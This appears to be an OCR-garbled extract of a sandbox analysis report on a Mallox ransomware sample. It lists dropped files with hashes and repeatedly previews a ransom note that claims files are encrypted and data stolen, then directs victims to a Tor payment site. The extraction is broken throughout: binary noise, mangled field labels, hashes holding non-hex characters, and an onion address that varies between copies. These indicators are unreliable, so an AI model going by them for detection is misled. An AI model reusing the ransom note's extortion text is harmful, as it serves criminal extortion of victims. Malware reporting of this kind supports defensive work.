(fyP........ %..ai.X.....)..p.n.j..y.p.S.vl@ga...A.$. ). Jo>;V........ B 2wl i~ 4l b KLME[™ U H. ... ..v ] ue.p. D.F.J9M....Z?1;.. [M..E..h|a....q.?%<P
N.F..@..C..dx.;.+]1@..4.2..5n.).28.."0...ujV...p..+<..f..O.... T...G....FHcd....$E+..1q..+.9.{ <.j9.J(..AK.W/.*J..IX.5....8F@hn.P.(R.- Zy.......... e VT WSHLY.) *Mwy
..N.J..,....R[...0.b.lw..&.ID....I1.D...Xd...-.=2L.2a...:]. ]T.H..K'i.6...d.<.C.M....9,. <Y.U..N._x5.4 ..x.LI...).L..pRE.l.r..a%E.u((R.U0.n...TwL.."..d.}0.&.I}.. 9.....@.)...~
> &0 Ei7=w.Q.aF.8. d.d L (L~ #bZ. . pQLb# .. _AT.W.W.pEyU.p......K~.[.(...6..N..Ka.Z..L.IG.8.".......... 1.}?7ab.g...)....v.K\.....={.!

C:\Program Files (x86)\Microsoft Office\root\Office16\sdxs\FAO00000109\dist\vendor.js.map.gz [ €

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAT:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Users\user\Desktop\ 145.exe

data

dropped

98826

7.9980298834167245

true

3072:13XdxF/2h6JYe52MN6RXGa3pDVPbiakid:I3Xdrc6JY3/RW4D 1kk
A72C407F50A8775DA73CB8D8BAIF6860
2177DABF98AFEF87E3EEAE8B81ED12C2249452B8
4ED64D243C9B2E409FDD01D66D8FFFB30EOEA9E9ES9EC4ABE764AESEBC322C3E

9530EDF457E97AA07176E86E4EA62CADDID3718BF12952EF28FDIEC4B6A888DECCIBBC397649ADC1775316220CCB1B7286654B4EA89DED2C4C41351DDABDF
A78

true

W.8.1(80. p.F.< iR e GA.. o i<WOB. YoM o..... .B..|FABS ... %M .6...'6..0.<q.M+.SF..L]}.....f. ... .VZ...9p<..,.d.|. 08} JXK5..{.V.."63..2.~[.....C...ho(
.0G.TT..WO).Np..t.=l...B.3"...\....9..+x#.b.CD..x.1/.....&....ZDp(....8.7..0c' 1&AU.VW.$.. %!....P.=@..D0O
..... jo+N..U....y-

C:\Program Files (x86)\Reference Assemblies\HOW TO BACK FILES.txt

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAT:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Users\user\Desktop\ 145.exe

data

dropped

1410

4.76384410394738

false
24:a/uY2308Lcq39xe+6L1ruW67nGVeyuZHVnFmFEISYSwR4mZPnvOAVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnvOAVCh
7322334E0D24A4434F1B5D63CF177D95

D3A4ECCC1E96EFC2AF2EEBDOF7B990A5ED1B8988
229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FA66CB4637B

B3DB25F41950DC98BDC93CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DF
3

false

Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work con
dition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site
you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR
browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR
browser and open the site: wtyafjyhwgrgo4a45wdvvwhen3cx4euie73qgvihkhvirexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your
Private key: 4993809EC85AB5141AAODB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\HOW TO BACK FILES.txt

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):

C:\Users\user\Desktop\ 145.exe
data

dropped

1410

4.76384410394738
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Encrypted:
SSDEEP:
MD5:
SHAT:
SHA-256:
SHA-512:

Malicious:

Preview:

false
24:a/uY2308Lcq39xe+6L1ruW67nGVeyuZHVnFmFEIsYSwR4mZPnvOAVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnvOAVCh
7322334E0D24A4434F1B5D63CF177D95

D3A4ECCC1E96EFC2AF2EE6DOF7B990A5ED1B8988
229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FA66CB4637B

B3DB25F41950DC98BDC93CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DF
3

false

Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work con
dition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site
you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR
browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR
browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvihkhvirexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your
Private key: 4993809EC85AB5141AAODB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\v3.0\HOW TO BACK FILES.txt

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAT:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Users\user\Desktop\ 145.exe

data

dropped

1410

4.76384410394738

false
24:a/uY2308Lcq39xe+6L1ruW67nGVeyuZHVnFmFEIsYSwR4mZPnvOAVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnvOAVCh
7322334E0D24A4434F1B5D63CF177D95

D3A4ECCC1E96EFC2AF2EE6DOF7B990A5ED1B8988
229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FA66CB4637B

B3DB25F41950DC98BDC93CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DF
3

false

Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work con
dition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site
you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR
browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR
browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvihkhvirexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your
Private key: 4993809EC85AB5141AA0DB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\v3.0\RedistList\HOW TO BACK FILES.txt

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAT:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Users\user\Desktop\_145.exe

data

dropped

1410

4.76384410394738

false
24:a/uY2308Lcq39xe+6L1ruW67nGVeyuZHVnFmFEIsYSwR4mZPnvOAVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnvOAVCh
7322334E0D24A4434F1B5D63CF177D95

D3A4ECCC1E96EFC2AF2EEBDOF7B990A5ED1B8988
229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FA66CB4637B

B3DB25F41950DC98BDC93CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DF
3

false

Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work con
dition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site
you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR
browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR
browser and open the site: wtyafjyhwgrgo4a45wdvvwhen3cx4euie73qgvihkhvirexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your
Private key: 4993809EC85AB5141AAODB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\v3.0\SubsetList\HOW TO BACK FILES.txt

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):

Encrypted:

C:\Users\user\Desktop\ 145.exe
data

dropped

1410

4.76384410394738

false
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SSDEEP:
MDS5:
SHA1:
SHA-256:
SHA-512:

Malicious:

Preview:

24:a/uY2308Lcq39xe+6L1ruW67nGVeyuZHVnFmFEIsYSwR4mZPnvOAVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnvOAVCh
7322334E0D24A4434F1B5D63CF177D95

D3A4ECCC1E96EFC2AF2EE6DOF7B990A5ED1B8988
229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FA66CB4637B

B3DB25F41950DC98BDC93CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DF
3

false

Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work con
dition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site
you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR
browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR
browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvihkhvirexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your
Private key: 4993809EC85AB5141AAODB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\v3.5\HOW TO BACK FILES.txt

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAT:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Users\user\Desktop\ 145.exe

data

dropped

1410

4.76384410394738

false
24:a/uY2308Lcq39xe+6L1ruW67nGVeyuZHVnFmFEIsYSwR4mZPnvOAVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnvOAVCh
7322334E0D24A4434F1B5D63CF177D95

D3A4ECCC1E96EFC2AF2EE6DOF7B990A5ED 1B8988
229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FA66CB4637B

B3DB25F41950DC98BDC93CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DF
3

false

Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work con
dition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site
you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR
browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR
browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvihkhvirexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your
Private key: 4993809EC85AB5141AAODB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HOW TO BACK FILES.txt

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAT:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Users\user\Desktop\_145.exe

data

dropped

1410

4.76384410394738

false
24:a/uY2308Lcq39xe+6L1ruW67nGVeyuZHVnFmFEIsYSwR4mZPnvOAVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnvOAVCh
7322334E0D24A4434F1B5D63CF177D95

D3A4ECCC1E96EFC2AF2EEBDOF7B990A5ED1B8988
229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FA66CB4637B

B3DB25F41950DC98BDC93CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DF
3

false

Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work con
dition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site
you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR
browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR
browser and open the site: wtyafjyhwgrgo4a45wdvvwhen3cx4euie73qgvihkhvirexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your
Private key: 4993809EC85AB5141AAODB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\v3.5\SubsetList\HOW TO BACK FILES.txt

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:

C:\Users\user\Desktop\ 145.exe
data

dropped

1410

4.76384410394738

false

24:a/uY2308Lcq39xe+6L1ruW67nGVeyuZHVnFmFEIsYSwR4mZPnvOAVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnvOAVCh
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MDS5:
SHA1:
SHA-256:
SHA-512:

Malicious:

Preview:

7322334E0D24A4434F1B5D63CF177D95
D3A4ECCC1E96EFC2AF2EE6DOF7B990A5ED1B8988
229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FA66CB4637B

B3DB25F41950DC98BDC93CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DF
3

false

Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work con
dition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site
you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR
browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR
browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvihkhvirexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your
Private key: 4993809EC85AB5141AAODB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\Program Files (x86)\Reference Assemblies\Microsoft\HOW TO BACK FILES.txt

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAT:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Users\user\Desktop\_145.exe

data

dropped

1410

4.76384410394738

false
24:a/uY2308Lcq39xe+6L1ruW67nGVeyuZHVnFmFEIsYSwR4mZPnvOAVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnvOAVCh
7322334E0D24A4434F1B5D63CF177D95

D3A4ECCC1E96EFC2AF2EE6DOF7B990A5ED1B8988
229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FA66CB4637B

B3DB25F41950DC98BDC93CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DF
3

false

Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work con
dition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site
you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR
browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR
browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvihkhvirexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your
Private key: 4993809EC85AB5141AAODB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\Program Files (x86)\Windows Media Player\HOW TO BACK FILES.txt

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAT:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Users\user\Desktop\_145.exe

data

dropped

1410

4.76384410394738

false
24:a/uY2308Lcq39xe+6L1ruW67nGVeyuZHVnFmFEIsYSwR4mZPnvOAVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnvOAVCh
7322334E0D24A4434F1B5D63CF177D95

D3A4ECCC1E96EFC2AF2EEBDOF7B990A5ED1B8988
229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FA66CB4637B

B3DB25F41950DC98BDC93CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DF
3

false

Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work con
dition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site
you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR
browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR
browser and open the site: wtyafjyhwgrgo4a45wdvvwhen3cx4euie73qgvihkhvirexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your
Private key: 4993809EC85AB5141AAODB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\Program Files (x86)\Windows Media Player\Media Renderer\HOW TO BACK FILES.txt

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

C:\Users\user\Desktop\ 145.exe

data

dropped

1410

4.76384410394738

false
24:a/uY2308Lcq39xe+6L1ruW67nGVeyuZHVnFmFEIsYSwR4mZPnvOAVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnvOAVCh
7322334E0D24A4434F1B5D63CF177D95
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SHA1:
SHA-256:
SHA-512:

Malicious:

Preview:

D3A4ECCC1E96EFC2AF2EE6DOF7B990A5ED1B8988
229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FA66CB4637B

B3DB25F41950DC98BDC93CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DF
3

false

Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work con
dition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site
you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR
browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR
browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvihkhvirexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your
Private key: 4993809EC85AB5141AAODB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\Program Files (x86)\Windows Media Player\Network Sharing\HOW TO BACK FILES.txt

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAT:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Users\user\Desktop\ 145.exe

data

dropped

1410

4.76384410394738

false
24:a/uY2308Lcq39xe+6L1ruW67nGVeyuZHVnFmFEIsYSwR4mZPnvOAVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnvOAVCh
7322334E0D24A4434F1B5D63CF177D95

D3A4ECCC1E96EFC2AF2EE6DOF7B990A5ED 1B8988
229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FA66CB4637B

B3DB25F41950DC98BDCO3CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DF
3

false

Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work con
dition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site
you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR
browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR
browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvihkhvirexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your
Private key: 4993809EC85AB5141AAODB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\Program Files (x86)\Windows Media Player\Skins\HOW TO BACK FILES.txt

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:
SHAT:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Users\user\Desktop\_145.exe

data

dropped

1410

4.76384410394738

false
24:a/uY2308Lcq39xe+6L1ruW67nGVeyuZHVnFmFEIsYSwR4mZPnvOAVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnvOAVCh
7322334E0D24A4434F1B5D63CF177D95

D3A4ECCC1E96EFC2AF2EEBDOF7B990A5ED1B8988
229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FA66CB4637B

B3DB25F41950DC98BDC93CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DF
3

false

Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work con
dition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site
you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR
browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR
browser and open the site: wtyafjyhwgrgo4a45wdvvwhen3cx4euie73qgvihkhvirexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your
Private key: 4993809EC85AB5141AAODB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\Program Files (x86)\Windows Media Player\Visualizations\HOW TO BACK FILES.txt

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1:

C:\Users\user\Desktop\_145.exe

data

dropped

1410

4.76384410394738

false
24:a/uY2308Lcq39xe+6L1ruW67nGVeyuZHVnFmFEIsYSwR4mZPnvOAVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnvOAVCh
7322334E0D24A4434F1B5D63CF177D95

D3A4ECCC1E96EFC2AF2EEBDOF7B990A5ED 1B8988
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SHA-256:
SHA-512:

Malicious:

Preview:

229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FA66CB4637B

B3DB25F41950DC98BDC93CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DF
3

false

Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work con
dition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site
you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR
browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR
browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvihkhvirexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your
Private key: 4993809EC85AB5141AAODB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\Program Files (x86)\Windows Media Player\en-GB\HOW TO BACK FILES.txt

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAT:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Users\user\Desktop\ 145.exe

data

dropped

1410

4.76384410394738

false
24:a/uY2308Lcq39xe+6L1ruW67nGVeyuZHVnFmFEIsYSwR4mZPnvOAVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnvOAVCh
7322334E0D24A4434F1B5D63CF177D95

D3A4ECCC1E96EFC2AF2EE6DOF7B990A5ED 1B8988
229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FA66CB4637B

B3DB25F41950DC98BDC93CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DF
3

false

Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work con
dition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site
you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR
browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR
browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvihkhvirexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your
Private key: 4993809EC85AB5141AAQDB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\Program Files (x86)\Windows Media Player\en-US\HOW TO BACK FILES.txt

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:
SHAT:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Users\user\Desktop\ 145.exe

data

dropped

1410

4.76384410394738

false
24:a/uY2308Lcq39xe+6L1ruW67nGVeyuZHVnFmFEIsYSwR4mZPnvOAVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnvOAVCh
7322334E0D24A4434F1B5D63CF177D95

D3A4ECCC1E96EFC2AF2EEBDOF7B990A5ED1B8988
229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FAB66CB4637B

B3DB25F41950DC98BDC93CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DF
3

false

Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work con
dition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site
you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR
browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR
browser and open the site: wtyafjyhwgrgo4a45wdvvwhen3cx4euie73qgvihkhvirexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your
Private key: 4993809EC85AB5141AAODB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\Program Files (x86)\Windows Multimedia Platform\HOW TO BACK FILES.txt

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1:
SHA-256:

C:\Users\user\Desktop\ 145.exe

data

dropped

1410

4.76384410394738

false
24:a/uY2308Lcq39xe+6L1ruW67nGVeyuZHVnFmFEIsYSwR4mZPnvOAVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnvOAVCh
7322334E0D24A4434F1B5D63CF177D95

D3A4ECCC1E96EFC2AF2EEBDOF7B990A5ED1B8988
229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FAB66CB4637B
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SHA-512:

Malicious:

Preview:

B3DB25F41950DC98BDC93CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DF
3

false

Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work con
dition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site
you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR
browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR
browser and open the site: wtyafjyhwgrgo4a45wdvvwhen3cx4euie73qgvihkhvirexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your
Private key: 4993809EC85AB5141AAODB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\Program Files\HOW TO BACK FILES.txt

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAT1:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Users\user\Desktop\_145.exe

data

dropped

1410

4.76384410394738

false
24:a/uY2308Lcq39xe+6L1ruW67nGVeyuZHVnFmFEIsYSwR4mZPnvOAVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnvOAVCh
7322334E0D24A4434F1B5D63CF177D95

D3A4ECCC1E96EFC2AF2EE6DOF7B990A5ED 1B8988
229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FA66CB4637B

